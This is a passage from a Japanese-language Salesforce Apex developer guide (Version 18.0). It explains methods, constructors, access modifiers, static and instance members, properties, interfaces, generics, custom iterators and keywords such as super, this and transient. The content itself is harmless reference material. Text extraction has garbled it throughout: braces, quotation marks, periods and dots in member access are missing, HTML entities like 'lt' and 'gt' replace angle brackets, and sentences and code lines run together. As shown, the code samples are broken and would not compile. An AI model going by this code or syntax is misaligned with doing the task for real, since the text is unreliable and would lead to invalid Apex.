パラメータがない場合は1 組の空のかっこを使用しますメソッドに指定できるパラメータは 32 個までです

bull 必須 中かっこ で囲まれたメソッドのボディローカル変数宣言を含めたメソッドのすべてのコードがここに含まれます

メソッドを定義するには次の構文を使用します

(public | private | protected | global ) [override] [static] data type method name (inputparameters) メソッドのボディ

クラスオブジェクトおよびインターフェース Version 180 | クラス変数の宣言 | 89

メモ virtualとして定義されたクラスのメソッドをオーバーライドするにはoverrideを使用します

public static Integer getInt() return MY_INT

Java の場合と同様に結果が別の変数に割り当てられない場合値を返すメソッドもステートメントとして実行できます

ユーザー定義メソッドの次の点に注意してください

bull システムメソッドが使用されている場合はいつでも使用できますbull メソッドに渡され変更された変数がメソッドをコールした元のコードでも変更されるよう参照によって

引数を渡しますbull 再帰する場合がありますbull sObject ID を初期化する DML insertステートメントなど悪影響の可能性があります「Apex のデータ操

作言語 (DML) 操作 (ページ 186)」を参照してくださいbull ユーザー定義メソッド自体または同じクラスまたは匿名ブロックで後で定義されたメソッドを参照できます

Apex は2 つのフェーズでメソッドを解析しますそのため事前の宣言は必要ありませんbull 多型の場合がありますたとえばfooというメソッドは 2 とおりに実行できます一方は単一の Integer パ

ラメータでもう一方は 2 つの Integer パラメータで実行できますメソッドを 1 つの Integers でコールするかまたは 2 つの Interger でコールするかによってApex パーサーは適切な実行を選択しますパーサーが完全一致を検出できない場合データ型強制規則を使用しておおよその一致を検索しますデータ変換のは「変換の規則について」 (ページ 39)を参照してください

メモ パーサーがおおよその一致を複数検出した場合解析時間の例外が生成されます

bull トリガで使用する場合staticとして宣言することはできませんbull 副次的影響のある void メソッドを使用する場合ユーザ定義メソッドがApexスクリプトでスタンドアロンの

プロシージャステートメントとして実行されます例

Systemdebug(ログ用のメモです)

bull 結果が別の変数に割り当てられない場合戻り値をステートメントとして実行するステートメントを指定できますこれは Java と同じです

コンストラクタの使用コンストラクタとはクラスの設計図からオブジェクトを作成したときに起動されるコードですすべてのクラスでコンストラクタを記述する必要はありませんクラスにユーザ定義のコンストラクタが存在しない場合暗黙的で引数をとらない公開コンストラクタが使用されます

コンストラクタの構文はメソッドと似ていますがコンストラクタには明示的な戻り値のタイプがないことと作成元のオブジェクトから継承されないという点がメソッドとは異なります

クラスオブジェクトおよびインターフェース Version 180 | コンストラクタの使用 | 90

クラスのコンストラクタを記述した後にコンストラクタを使用しそのクラスのオブジェクトをインスタンス化するには必ず newキーワードを使用しなければなりませんたとえば次のクラスを使用するとします

public class TestObject

引数のないコンストラクタpublic TestObject() ここにさらにコードを記述

このタイプの新しいオブジェクトは次のコードを使用してインスタンス化できます

TestObject myTest = new TestObject()

引数を取るコンストラクタを記述した場合記述したコンストラクタを使用してその引数を使用するオブジェクトを作成できます引数を取るコンストラクタを作成したものの引数を取らないコンストラクタを使用したい場合そのようなコンストラクタをコードに含める必要がありますクラスのコンストラクタを作成後はデフォルトの引数を取らない公開コンストラクタにアクセスする必要はありません自分で作成しなければなりません

Apex ではコンストラクタは オーバーロードつまりクラスにそれぞれ異なるパラメータを持つコンストラクタを 1 つ以上持つことができます次の例では引数のないものと単純な整数の引数を取るものの 2 つのコンストラクタを持つクラスを示していますまたthis()構文を使用して 1 つのコンストラクタから別のコンストラクタをコールする方法についても説明していますこの手法はコンストラクタチェーニングとも呼ばれます

public class TestObject2

private static final Integer DEFAULT_SIZE = 10

Integer size

引数のないコンストラクタpublic TestObject2() this(DEFAULT_SIZE) this() を使用し引数を 1 つ取るコンストラクタをコール

引数を 1 つ取るコンストラクタpublic TestObject2(Integer ObjectSize) size = ObjectSize

このタイプの新しいオブジェクトは次のコードを使用してインスタンス化できます

TestObject2 myObject1 = new TestObject2(42) TestObject2 myObject2 = new TestObject2()

クラスのために作成した各コンストラクタはそれぞれ異なる引数リストを持つ必要があります次の例のすべてのコンストラクタを持つことは可能です

public class Leads

最初は引数のないコンストラクタpublic Leads ()

引数を 1 つ取るコンストラクタpublic Leads (Boolean call)

引数を 2 つ取るコンストラクタpublic Leads (String email Boolean call)

このコンストラクタは上記のコンストラクタと同じ引数を取るものの 順序が異なっているため有効ですpublicLeads (Boolean call String email)

クラスオブジェクトおよびインターフェース Version 180 | コンストラクタの使用 | 91

新しいクラスを定義する場合新しいデータ型を定義することになりますそのクラス名はStringBooleanAccount など他のデータ型の名前を使用する場所であればどこででも使用できます型がクラスである変数を定義する場合それに割り当てるオブジェクトはそのクラスまたはサブクラスのインスタンスでなければなりません

アクセス修飾子Apex ではメソッドや変数の定義で privateprotectedpublicglobalの各アクセス修飾子を使用できます

トリガや匿名ブロックでもアクセス修飾子を使用できますがApex の狭い範囲では使いやすくありませんたとえば匿名ブロックで globalとしてのメソッドを宣言してもそのコードの外からコールすることはできません

クラスアクセス修飾子の詳細は「Apex クラスの定義」 (ページ 85)を参照してください

メモ インターフェースメソッドにはアクセス修飾子はありませんつねに global となります詳細は「インターフェースおよび拡張クラス」 (ページ 97)を参照してください

デフォルトではメソッドや変数は定義されたクラス内でのみ Apex に表示されますJava ではデフォルトでメソッドや変数は公開されるためこの点は Java とは異なりますApex は Java に比べると制限が大きく同じアプリケーション名前空間のクラスでメソッドや変数を利用するには明示的に公開であることを宣言する必要があります (「名前空間プレフィックス (ページ116)」を参照)次のアクセス修飾子を使用して表示のレベルを変更できますprivate

これはデフォルトですつまりメソッドや変数は定義された Apex クラス内でのみアクセスできますアクセス修飾子を指定しない場合メソッドや変数は privateとなります

protected

メソッドや変数は定義された Apex クラスのすべての内部クラスから参照できますこのアクセス修飾子はインスタンスメソッドやメンバー変数でのみ利用できますJava と同様にデフォルト (private) よりもより厳密な権限付与が必要であることにご注意ください

public

メソッドや変数はこのアプリケーションや名前空間のすべての Apex クラスで使用できます

メモ Apexではpublicアクセス修飾子は Java のものと同じではありませんアプリケーションの結合を妨げ各アプリケーションのコードを分離するための措置ですApex ではJava で行うように公開したい場合globalアクセス修飾子を使用します

global

ではメソッドや変数は同じアプリケーションの Apex スクリプトだけでなくクラスへのアクセス権のあるすべての Apex スクリプトで使用できますこのアクセス修飾子はForcecom Web サービス API やその他の Apex スクリプトのいずれかでアプリケーション外から参照する必要があるメソッドで使用しますメソッドまたは変数を globalとして宣言した場合それを含むクラスも globalとして宣言する必要があります

メモ Salesforcecom ではglobalアクセス修飾子は極力使用しないか全く使用しないことをお勧めしていますアプリケーション間の依存関係は維持が困難であるためです

クラスオブジェクトおよびインターフェース Version 180 | アクセス修飾子 | 92

privateprotectedpublicglobalアクセス修飾子を使用するには次の構文に従います

[(none)|private|protected|public|global] declaration

private string s1 = 1

public string gets1() return thiss1

静的およびインスタンスApexでは静的メソッド変数および初期化コードインスタンスメソッドメンバー変数および 変更子を含まない 初期化コードおよびローカル変数を持つことができます

bull 静的メソッド変数または初期化コードはクラスに関連していて外部クラス内でのみ可能ですstatic

としてメソッドまたは変数を宣言した場合クラスが読み込まれた時の一度だけ初期化されますbull インスタンスメソッドメンバー変数初期化コードは特定のオブジェクトと関連していて定義変更子

を持っていませんインスタンスメソッドメンバー変数初期化コードを宣言する場合そのクラスからインスタンス化された各オブジェクトと一緒にそのアイテムのインスタンスは作成されます

bull ローカル変数は宣言されたコードのブロックと関連付けられますすべての変数は使用前に初期化されなければなりません

以下はその範囲がifコードブロックの持続時間であるローカル変数の例です

Boolean myCondition = true if (myCondition) integer localVariable = 10

静的メソッドと変数を使う

静的メソッドと外部クラスを伴った変数のみが使用可能です内部クラスはメソッドや変数を持っていません静的メソッドや変数は実行するためにクラスのインスタンスを必要としません

あるクラスのすべての静的メンバー変数はそのクラスのオブジェクトの作成前に初期化されますこれには静的初期化コードブロックが含まれますこれらすべてはクラス内に現れる順に実行されます

静的メソッドは一般的にユーティリティー方式として使われ特定のインスタンスメンバー変数値に依存しません静的メソッドはクラスのみに関連するのでそのクラスのインスタンスメンバー変数値にはアクセスできません

静的変数は要求の範囲内で静的なだけですサーバー全体または全体組織においては静的ではありません

クラスの範囲内で共有される情報を保存するには静的変数を使ってください同じクラスのすべてのインスタンスは静的変数のシングルコピーです例えば同じ要求によって産まれるすべてのトリガは関連したクラス内の静的変数を見てアップデートすることによって互いと通信することができます再帰的なトリガはいつ再帰を終了するかを決定するためにクラス変数の値を使うかもしれません

以下のクラスを持っているとしましょう

public class p public static boolean firstRun = true

クラスオブジェクトおよびインターフェース Version 180 | 静的およびインスタンス | 93

このクラスを使うトリガは選択的にトリガーの最初の実行を失敗することができます

trigger t1 on Account (before delete after delete after undelete) if(TriggerisBefore)if(TriggerisDelete) if(pfirstRun) Triggerold[0]addError(Before Account DeleteError) pfirstRun=false

クラス静的変数はそのクラスの例を通してアクセスできません クラスCが静的変数Sを持っていてxがCのインスタンスの場合xSは不正表現です

以下のインスタンスメソッドに関しても同じですM()が静的メソッドの場合xM()は不正代わりにコードは以下のクラスを使った静的識別子を参照しますCSおよび CM()

ローカル変数がクラスネームと同じ名前の場合これらのメソッドと変数は隠されます

内部クラスは静的Java内部クラスのように機能しますがstaticキーワードを要求しません内部クラスは外部クラスのようにインスタンスメンバー変数を持つことができますが thisキーワードを使った 外部クラスのインスタンスへの暗黙的ポインタはありません

メモ 静的変数値はAPI バッチ間でリセットされますがガバナ制限はリセットされませんバッチを指定したバッチサイズより小さい塊に分割する場合があるためAPIバッチの状況に関する情報を追跡するために静的変数は使用しないでください

インスタンスメソッドと変数を使う

インスタンスメソッドとメンバー変数はクラスのインスタンスすなわちオブジェクトによって使われますインスタンスメンバー変数はメソッド内ではなくクラス内で宣言されますインスタンスメソッドはメソッド機能に影響するために通常インスタンスメンバー変数を使います

二次元のポイントを集めるクラスを持ちグラフ上にそれらをプロットしたいとします以下のスケルトンクラスがこれを示しますポイントのリストを保持するためのメンバー変数およびポイントの二次元リストを扱うための内部クラスを使います

public class Plotter

This inner class manages the points class Point Double x Double y

Point(Double x Double y) thisx = x thisy = y Double getXCoordinate() return x

Double getYCoordinate() return y

ListltPointgt points = new ListltPointgt()

public void plot(Double x Double y) pointsadd(new Point(x y))

The following method takes the list of points and does something with them public voidrender()

初期化コードを使う

初期化コードはクラス内で定義された以下のフォームのコードのブロックです

code body

クラスオブジェクトおよびインターフェース Version 180 | 静的およびインスタンス | 94

クラス内のインスタンス初期化コードはそのクラスからオブジェクトがインスタンス化されるたびに実行されますこれらのコードブロックはコンストラクタの前に実行されます

クラス用のコンストラクタを書き込みたくない場合インスタンス変数の初期化のためのインスタンス初期化コードブロックを使用可能ですしかしながら初期化をするには変数にデフォルト値を与えたりコンストラクタの本文を使用したりしてインスタンス初期化コードを使わない場合がほとんどでしょう

静的初期化コードは以下のキーワードstaticを伴って先行するコードのブロックです

static

code body

他の静的コードに類似して静的初期化コードはクラスの初回使用時に一度だけ初期化されます

一つのクラスは静的またはインスタンス初期化コードブロックのいずれかのナンバーを持てますそれらはコード本文内のどこにでも出現する可能性がありますJava内でと同様にファイル内で表示された順番にコードブロックは実行されます

静的最終変数を初期化するためおよび値のマップなど静的な情報を宣言するために静的初期化コードを使用可能です例

public class MyClass

class RGB

Integer red Integer green Integer blue

RGB(Integer red Integer green Integer blue) thisred = red thisgreen = green thisblue= blue

static MapltString RGBgt colorMap = new MapltString RGBgt()

static colorMapput(red new RGB(255 0 0)) colorMapput(cyan new RGB(0 255255)) colorMapput(magenta new RGB(255 0 255))

Apex プロパティApex プロパティは変数と似ていますがアクセスまたは返却する前にプロパティ値にスクリプトの内容を追加できますプロパティにはさまざまな使い方がありますまず変更の前にデータを検証できますまた他のメンバー変数値の変更などデータが変更される前にアクションを要求できますあるいは別のクラスなど別のソースから取得したデータを表示することもできます

プロパティの定義には一つまたは二つのコードブロックが含まれゲットアクセス機構とセットアクセス機構を表します

bull プロパティが読まれるとゲットアクセス機構内のコードが実行されますbull プロパティが新しい値に割り当てられるとセットアクセス機構内のコードが実行されます

ゲットアクセス機構だけを持ったプロパティは読み取り専用と考えられますセットアクセス機構だけを持ったプロパティは書き込み専用と考えられます両方のアクセス機構を持つプロパティは読み書き用です

クラスオブジェクトおよびインターフェース Version 180 | Apex プロパティ | 95

プロパティの宣言のためにクラスの本文内にて次の構文を使ってください

Public class BasicClass

Property declaration access_modifier return_type property_name get Get accessorcode block set Set accessor code block

この場合次のようになります

bull access_modifierがプロパティのアクセス変更子の場合は変数に適用可能なすべての変更子はプロパティにも適用可能です具体的にはpublicprivateglobalprotectedstaticvirtualabstractoverrideおよび transientですアクセス変更子についての詳細はAccess Modifiers (ページ 92)を参照してください

bull IntegerDoublesObjectなどreturn_typeはプロパティのタイプですIntegerDoublesObjectなど詳細はData Types (ページ 27)を参照してください

bull property_nameはプロパティ名です

例えば次のクラスはpropという名のプロパティを定義しますプロパティは公開ですプロパティはIntegerデータ型を戻します

public class BasicProperty public integer prop get return prop set prop = value

以下のコードセグメントは上記のクラスを呼び出しセットアクセス機構を実施します

BasicProperty bp = new BasicProperty() bpprop = 5 Calls set accessorSystemassert(bpprop == 5) Calls get accessor

次の点に注意してください

bull ゲットアクセス機構の本文は方法の本文に似ていますそれはプロパティ型の値を戻す必要がありますゲットアクセス機構を実行することは変数の値を読み取るのと同じことです

bull ゲットアクセス機構はリターンステートメント内で終わる必要がありますbull Salesforcecom はゲットアクセス機構が定義してしているオブジェクトの状態を変更しないことをお勧め

しますbull セットアクセス機構は戻り型が無効の方法に似ていますbull プロパティに値を割り当てると新しい値を与える引数によってセットアクセス機構が呼び出されますbull セットアクセス機構が呼び出されるとシステムは暗黙的引数をプロパティと同じデータ型のvalueと呼ば

れるセッターに渡しますbull プロパティはinterface上では定義できませんbull ApexプロパティはC内の対応物に基づいていて以下の違いを持っています

- プロパティは値のストレージを直接提供しますストレージ値のためにサポーティングメンバーを作成する必要はありません

- Apex内に自動プロパティを作成することが可能です詳細はUsing Automatic Properties (ページ 96)を参照してください

自動プロパティを使用する

プロパティはゲットまたはセットアクセス機構のコードブロック内に追加コードを要求しません代わりに自動プロパティを定義するためにゲットおよびセットアクセス機構のコードブロックは空白のままにし

クラスオブジェクトおよびインターフェース Version 180 | Apex プロパティ | 96

ておいてください自動プロパティによってデバッグと保守がより簡単なさらにコンパクトなコードを書くことが可能です読み取り専用読み書き用書き込み専用として宣言可能です以下の例は三つの自動プロパティの例を示しています

public class AutomaticProperty public integer MyReadOnlyProp get public doubleMyReadWriteProp get set public string MyWriteOnlyProp set

以下のコードセグメントはこれらのプロパティを実行します

AutomaticProperty ap = new AutomaticProperty() apMyReadOnlyProp = 5 コンパイルエラーが発生します not writable apMyReadWriteProp = 5 No errorSystemassert(MyWriteOnlyProp == 5) コンパイルエラーが発生します not readable

静的プロパティを使う

staticとしてプロパティが宣言された場合そのプロパティのアクセス機構方式は静的コンテキストで実行されますこれはそのアクセス機構がクラス内の非静的メンバー変数にアクセスしないことを意味します以下の例は静的およびインスタンスプロパティの両方を持つクラスを作成します

public class StaticProperty public static integer StaticMember public integerNonStaticMember public static integer MyGoodStaticProp getreturn MyGoodStaticProp The following produces a system error public static integer MyBadStaticProp returnNonStaticMember

public integer MyGoodNonStaticProp getreturn NonStaticMember

以下のコードセングメントは静的およびインスタンスプロパティを呼び出します

StaticProperty sp = new StaticProperty() システムエラーが発生します オブジェクトインスタンスの静的 変数にはアクセスできません spMyGoodStaticProp = 5

次の場合エラーは発生しません StaticPropertyMyGoodStaticProp = 5

プロパティアクセス機構上でアクセス変更子を使う

それ自身のアクセス変更子によってプロパティアクセス機構は定義可能ですアクセス機構がそれ自身のアスセス変更子を含んでいる場合この変更子はプロパティのアクセス変更子より優先します個別のアクセス機構のアクセス変更子はプロパティ上のアクセス変更子より限定的である必要があります例えばプロパティがpublicとして定義されている場合個別のアクセス機構はglobalとしては定義できません以下のクラス定義は追加の例です

global virtual class PropertyVisibility X is private for read and public for writepublic integer X private get set Y can be globally read but only written within aclass global integer Y get public set Z can be read within the class but onlysubclasses can set it public integer Z get protected set

インターフェースおよび拡張クラス

インタフェースはメソッドが実装されていないクラスのようなものですメソッドのシグネチャはありますが各メソッドの本文は空です インターフェースを使用するにはインターフェースに含まれるすべてのメソッドの本文を提供することによって別のクラスがインターフェースを実装する必要があります

クラスオブジェクトおよびインターフェース Version 180 | インターフェースおよび拡張クラス | 97

インターフェースは抽象化レイヤーをコードに提供できますインターフェースはメソッドの特定の実装をそのメソッドの宣言から分離しますこれによりアプリケーションに基づきメソッドを別個に実装できます

インターフェースの定義は新しいクラスの定義に似ています企業への顧客からと社員からの 2 種類の注文の例について考えますどちらもタイプは注文です割引をするメソッドが必要であるとします割引額は注文のタイプにより異なります

注文の一般的な概念をインターフェースとしてモデリングし顧客用および社員用に実装します次の例では注文の割引についてのみ示します

public class PurchaseOrders

一般的な注文の概要について定義するインターフェースpublic interface PurchaseOrder 他のすべての機能は除外Double discount()

顧客用のインターフェースの 1 つの実装public virtual class CustomerPurchaseOrder implementsPurchaseOrder public virtual Double discount() return 05 一律 5 の割引

従業員の注文は顧客の発注を拡張したものですが 割引率が異なりますpublic classEmployeePurchaseOrder extends CustomerPurchaseOrder public override Double discount() return 10 従業員であることにはメリットがあります割引率は 10

上記の例では次の点にご注意ください

bull インターフェースPurchaseOrderは汎用的なプロトタイプとして定義されていますインターフェース内で定義されているメソッドにはアクセス修飾子はなくそのシグネチャのみが含まれます

bull CustomerPurchaseOrderはこのインターフェースを実装しているためdiscountメソッドの定義を提供しなければなりませんJava においてはインターフェースを実装するすべてのクラスではインターフェースに含まれるすべてのメソッドを定義しなければなりません

bull 従業員用の注文は顧客用の注文を拡張します1 つのクラスから別のクラスに拡張するにはextendsキーワードを使用しますクラスは別のクラスを 1 つまでしか拡張できませんが1 つ以上のインターフェースを実装できます

新しいインターフェースを定義する場合新しいデータ型を定義することになりますそのインターフェース名は他のデータ型の名前を使用する場所であればどこででも使用できます型がインターフェースである変数を定義する場合それに割り当てるオブジェクトはインターフェースを実装するクラスのインスタンスまたはサブインターフェースデータ型でなければなりません

インターフェースは別のインターフェースを拡張できますクラスではインターフェースが別のインターフェースを拡張すると拡張元のインターフェースのすべてのメソッドとプロパティが拡張先のインターフェースでも利用できます

「クラスとキャスト」 (ページ 110)も参照してください

クラスが「管理-リリース済み」パッケージバージョンでアップロードされた後にインターフェースにメソッドを追加することはできません管理パッケージの詳細は「管理パッケージでのApexの開発 (ページ165)」を参照してください

クラスオブジェクトおよびインターフェース Version 180 | インターフェースおよび拡張クラス | 98

パラメータ化された型とインターフェースApex は通常静的に定型化されたプログラム言語でユーザは変数を使用する前に変数のデータ型を指定する必要がありますたとえば次の変数は Apex では適切です

Integer x = 1

xが始めに定義されていない場合次の変数は不正です

x = 1

リストマップおよびセットは Apex でパラメータ化されますApex が引数としてサポートするデータ型を採用しますこのデータ型はリストマップまたはセットの構造時に実際のデータ型と置き換える必要があります例

ListltStringgt myList = new ListltStringgt()

パラメータ化された型を使用すると構築時に実際のデータ型と置き換えられる一般的なデータ型パラメータでインターフェースを実装できます

次にパラメータ化されたインターフェースのシンタックスがどのように機能するかについての例を示しますこの例ではインターフェース Pairには2 つのタイプ変数 Tおよび Uがありますタイプ変数はインターフェースの本文で通常の型と同じように使用できます

public virtual interface PairltT Ugt T getFirst() U getSecond() void setFirst(T val)void setSecond(U val) PairltU Tgt swap()

次のインターフェース DoubleUpは Pairインターフェースを拡張します次のようにタイプ変数 Tを使用します

public interface DoubleUpltTgt extends PairltT Tgt

ヒント DoubleUpによって拡張するようにPairを virtualとして定義する必要があります

パラメータ化されたインターフェースの実装

パラメータ化されたインターフェースを実装するクラスはインターフェースのデータ型パラメータに引数としてデータ型を渡す必要があります

public class StringPair implements DoubleUpltStringgt private String s1 private String s2

public StringPair(String s1 String s2) thiss1 = s1 thiss2 = s2

public String getFirst() return thiss1 public String getSecond() return thiss2

public void setFirst(String val) thiss1 = val public void setSecond(String val) thiss2 = val

public PairltString Stringgt swap() return new StringPair(thiss2 thiss1)

クラスオブジェクトおよびインターフェース Version 180 | パラメータ化された型とインターフェース | 99

タイプ変数はクラスなどインターフェース宣言外に表示されることはありませんただしPairltString

Stringgtのように完全にインスタンス化されたタイプは他のデータ型が表示される Apex のどこでも使用できますたとえば次の変数は Apex では適切です

PairltString Stringgt y = xswap() DoubleUpltStringgt z = (DoubleUpltStringgt) y

この例ではコンパイラがクラス StringPairをコンパイルする場合クラスが DoubleUpltStringgtおよびPairltString Stringgtのすべてのメソッドを実行していることを確認する必要がありますそのためコンパイラはインターフェース PairltT Ugtの本文内の Tに String をUに String を代入します

DoubleUpltStringgt x = new StringPair(foo bar)

つまりクラスを正常にコンパイルするために次のメソッドプロトタイプをStringPairで実装する必要があります

String getFirst() String getSecond() void setFirst(String val) void setSecond(Stringval) PairltString Stringgt swap()

メソッドのオーバーロード

この例では次のインターフェースが使用されます

public interface OverloadedltTgt void foo(T x) void foo(String x)

インターフェース Overloadedは Apex で適切です名前は同じでパラメータが異なる 2 つ以上のメソッドを定義してメソッドをオーバーロードできますただしオーバーロードされたメソッドを呼び出す場合曖昧さがあってはいけません

インターフェースで指定された両方のメソッドプロトタイプを同時に実装するため次のクラスは正常にOverloadedインターフェースを実装します

public class MyClass implements OverloadedltStringgt public void foo(String x)

mが MyClassと指定されMyClassfooは一意の一致するメソッドであるため次は正常に実行されます

MyClass m = new MyClass() mfoo(bar)

oが OverloadedltStringgtに指定されofoo()の一致メソッドが 2 つありどちらも特定のメソッドに指定されないため次の例は正常に実行されませんコンパイラは2 つの一致メソッドのうちどちらを使用するか区別できません

OverloadedltStringgt o = m ofoo(bar)

パラメータ化されたリストによるサブタイプ

Apex ではタイプ Tが Uのサブタイプである場合ListltTgtは ListltUgtのサブタイプとなりますたとえば次の例は有効です

ListltStringgt slst = new ListltStringgt foo bar ListltObjectgt olst = slst

クラスオブジェクトおよびインターフェース Version 180 | パラメータ化された型とインターフェース | 100

ただしリストマップまたはセットなどパラメータ化されたタイプのインターフェイスで使用することはできません次の例は不正です

public interface IltTgt IltStringgt x = IltObjectgt y = x Compile error Illegalassignment from IltStringgt to IltObjectgt

カスタムイテレータイタレータは集合内のすべての項目をトラバースしますたとえばApex の whileループでループを終了する条件を定義し集合をトラバースするいくつかの方法つまりイタレータを提供する必要があります次の例ではループが実行されるごとに (count++)countが 1 ずつ増加します

while (count lt 11) Systemdebug(count) count++

Iteratorインターフェースを使用してループのリストをトラバースする指示のカスタムセットを作成できます通常SELECT文を使用して範囲を定義する Salesforcecom 外のソースにあるデータに役立ちます複数のSELECT文がある場合にイタレータを使用することもできます

カスタムイタレータの使用

カスタムイタレータを使用するにはIteratorインターフェースを実装する Apex クラスを作成する必要があります

Iteratorクラスには次インスタンスメソッドがあります

説明戻り値引数名前

コレクション内の別の項目がトラバースされている場合はtrueが返されそうでない場合はfalse

が返されます

BooleanhasNext

コレクション内の次の項目を返します任意next

Iteratorインターフェース内のすべてのメソッドは globalとして定義する必要があります

カスタムイタレータは whileループでのみ使用できます例

IterableString x = new IterableString(This is a really cool test)

while(xhasNext()) systemdebug(xnext())

イタレータは現在forループではサポートされていません

Iterable とカスタムイタレータの使用

カスタムイタレータとリストを使用しない場合Iterableインターフェースを使用してデータ構造を生成できます

Iterableインターフェースには次のメソッドがあります

クラスオブジェクトおよびインターフェース Version 180 | カスタムイテレータ | 101

説明戻り値引数名前

このインターフェースのイタレータへの参照を返します

イタレータクラスiterator

iteratorメソッドは globalとして定義する必要がありますデータ構造のトラバースに使用できるイタレータへの参照を作成します

次の例ではコレクションのカスタムイタレータの例を示します

global class CustomIterable implements IteratorltAccountgt ListltAccountgt accs get setInteger i get set public CustomIterable() accs = [SELECT id name numberofEmployeesFROM Account WHERE name = false] i = 0 global boolean hasNext() if(i gt= accssize())return false else return true global Account next() if(i == 8) i++ return nulli=i+1 return accs[i-1]

次で上記のコードを呼び出します

global class foo implements iterableltAccountgt global IteratorltAccountgt Iterator() returnnew CustomIterable()

次はイタレータを使用する一括処理ジョブです

global class batchClass implements DatabasebatchableltAccountgt global IterableltAccountgtstart(DatabasebatchableContext info) return new foo() global voidexecute(DatabasebatchableContext info ListltAccountgt scope) ListltAccountgt accsToUpdate =new ListltAccountgt() for(Account a scope) aname = true anumberOfEmployees = 69accsToUpdateadd(a) update accsToUpdate global void finish(DatabasebatchableContextinfo)

キーワード

Apex では次のキーワードをサポートしています

bull final

bull instanceof

bull super

bull this

bull transient

bull with sharingおよび without sharing

finalキーワードの使用finalキーワードは次のように使用できます

bull ファイナル変数には変数の宣言時またはコードの初期化時のいずれか 1 回のみ値を割り当てることができますこのいずれかで値を割り当てる必要があります

bull 静的なファイナル変数は静的初期化コードまたは定義時に変更できますbull メンバーファイナル変数は初期化コードブロックコンストラクタまたは他の変数の宣言と共に変更で

きます

クラスオブジェクトおよびインターフェース Version 180 | キーワード | 102

bull 定数を定義するには変数を staticおよび finalの両方に定義します (「定数 (ページ 41)」を参照してください)

bull ファイナルでない静的変数はクラスレベルでの状態の通信 (トリガ間の状態など) に使用しますしかし要求間で共有されることはありません

bull デフォルトではメソッドおよびクラスはファイナルとなりますfinalキーワードをクラスやメソッドの宣言では使用できませんつまり値をオーバーライドすることはできませんメソッドまたはクラスをオーバーライドするには virtualキーワードを使用します

instanceofキーワードの使用ランタイム時にオブジェクトが実際にある特定のクラスのインスタンスであることを確認するにはinstanceOf

キーワードを使用しますinstanceofキーワードは式でキーワードの右にあるターゲット型が左の式の宣言型の実行可能な代替物であることを確認する場合にのみ使用します

「クラスとキャスト例」の Reportクラスにおいて項目を CustomReportオブジェクトに再度キャストするために次のチェックを追加することができます

If (Reportsget(0) instanceof CustomReport) カスタムレポートオブジェクトに問題なく再度キャスト可能CustomReport c = (CustomReport) Reportsget(0) Else カスタムでないレポートに対する処理を記述

superキーワードの使用superキーワードは仮想クラスまたは抽象クラスから拡張されるクラスによって使用できますsuperを使用することによって親クラスのコンストラクタおよびメソッドを上書きできます

たとえば次の仮想クラスがあるとします

public virtual class SuperClass public String mySalutation public String myFirstNamepublic String myLastName

public SuperClass()

mySalutation = Mr myFirstName = Carl myLastName = Vonderburg

public SuperClass(String salutation String firstName String lastName)

mySalutation = salutation myFirstName = firstName myLastName = lastName

public virtual void printName()

Systemdebug(My name is + mySalutation + myLastName)

public virtual String getFirstName() return myFirstName

Superclassを拡張しprintNameメソッドを上書きする次のクラスを作成できます

public class Subclass extends Superclass public override void printName() superprintName() Systemdebug(But you can call me + supergetFirstName())

SubclassprintNameを呼び出す場合に期待される出力は My name is Mr Vonderburg But you cancall me Carlとなります

クラスオブジェクトおよびインターフェース Version 180 | instanceof キーワードの使用 | 103

superを使用してコンストラクタを呼び出すことができます次のコンストラクタを SubClassに追加します

public Subclass() super(Madam Brenda Clapentrap)

SubclassprintNameの期待される出力は My name is Madam Clapentrap But you can call meBrendaとなります

superキーワード使用のべストプラクティス

bull virtualクラスまたは abstractクラスから拡張しているクラスだけが superを使用できますbull overrideキーワードで指定されているメソッドでのみ superを使用できます

thisキーワードの使用thisキーワードには2 つの使用方法があります

thisをドット表記でかっこをつけずに使用し表示されるクラスの現在のインスタンスを表すことができますthisキーワードのこの形式はインスタンス変数とメソッドへのアクセスに使用します例

public class myTestThis

string s thiss = TestString

上記の例ではクラス testThisはインスタンス変数 sを宣言します初期化コードは thisキーワードを使用して変数に値を設定します

またコンストラクタチェーニングの実行でthisキーワードを使用することもできますコンストラクタチェーニングとは1 つのコンストラクタから別のコンストラクタをコールすることですこの形式ではthisキーワードをかっこと共に使用します例

public class testThis

このクラスの最初のコンストラクタstring 型のパラメータが必要ですpublic testThis(string s2)

このクラスの 2 つ目のコンストラクタパラメータは不要です このコンストラクタはthis キーワードを使用して 1 つ目のコンストラクタをコールします public testThis() this(None)

コンストラクタでのコンストラクタチェーニングの実行で thisキーワードを使用する場合コンストラクタの1 つ目の文に記述しなければなりません

transientキーワードの使用メモ transientキーワードはVisualforce コントローラとコントローラ拡張でのみ使用できます

クラスオブジェクトおよびインターフェース Version 180 | this キーワードの使用 | 104

transientキーワードは保存できずまたVisualforceページの一部として送信することもできないインスタンス変数の宣言に使用します例

Transient Integer currentTotal

変数を transientとして宣言すると表示状態のサイズを縮小しますtransientキーワードの一般的な使用事例にはVisualforce ページ上にあるページ要求を行っている間のみ必要な項目が挙げられますこの項目はページの表示状態の一部とすべきではなくまたリクエスト時に何度も再計算を行うため多くのシステムリソースが必要となります

Apex オブジェクトの中には自動的に transient と判断されるものもありますつまりその値はページの表示状態の一部として保存されません次のオブジェクトが含まれています

bull Savepointsbull PageReferencesbull XmlStreamクラスbull コレクションが自動的に transient とマーキングされるのはSavepoints のコレクションなどコレクションに

含まれているオブジェクトが自動的に transient とマーキングされている場合だけですbull SchemagetGlobalDescribeなどほとんどのオブジェクトがシステムメソッドにより自動的に生成されま

次の例にはVisualforceページとカスタムコントローラの両方が含まれてますページが更新されるごとに transient日付は再作成されるため[更新] ボタンをクリックすると日付が更新されます非 transient 日付には表示状態からシリアル化されなかった元の値が保持されるため変わりません

ltapexpage controller=ExampleControllergt T1 t1 ltbrgt T2 t2 ltbrgt ltapexformgtltapexcommandLink value=refreshgt ltapexformgt ltapexpagegt

public class ExampleController

DateTime t1 transient DateTime t2

public String getT1() if (t1 == null) t1 = Systemnow() return + t1

public String getT2() if (t2 == null) t2 = Systemnow() return + t2

with sharingまたは without sharingキーワードの使用Apex スクリプトは一般にシステムコンテキストで実行されますつまりスクリプト実行時に現在のユーザのプロファイルベースの権限項目レベルセキュリティおよび共有ルールは考慮されません

メモ このルールの唯一の例外はexecuteAnonymousコールと共に実行される Apex スクリプトですexecuteAnonymousは常に現在のユーザのフル権限を用いて実行されますexecuteAnonymousの詳細は「匿名ブロック」 (ページ 81)を参照してください

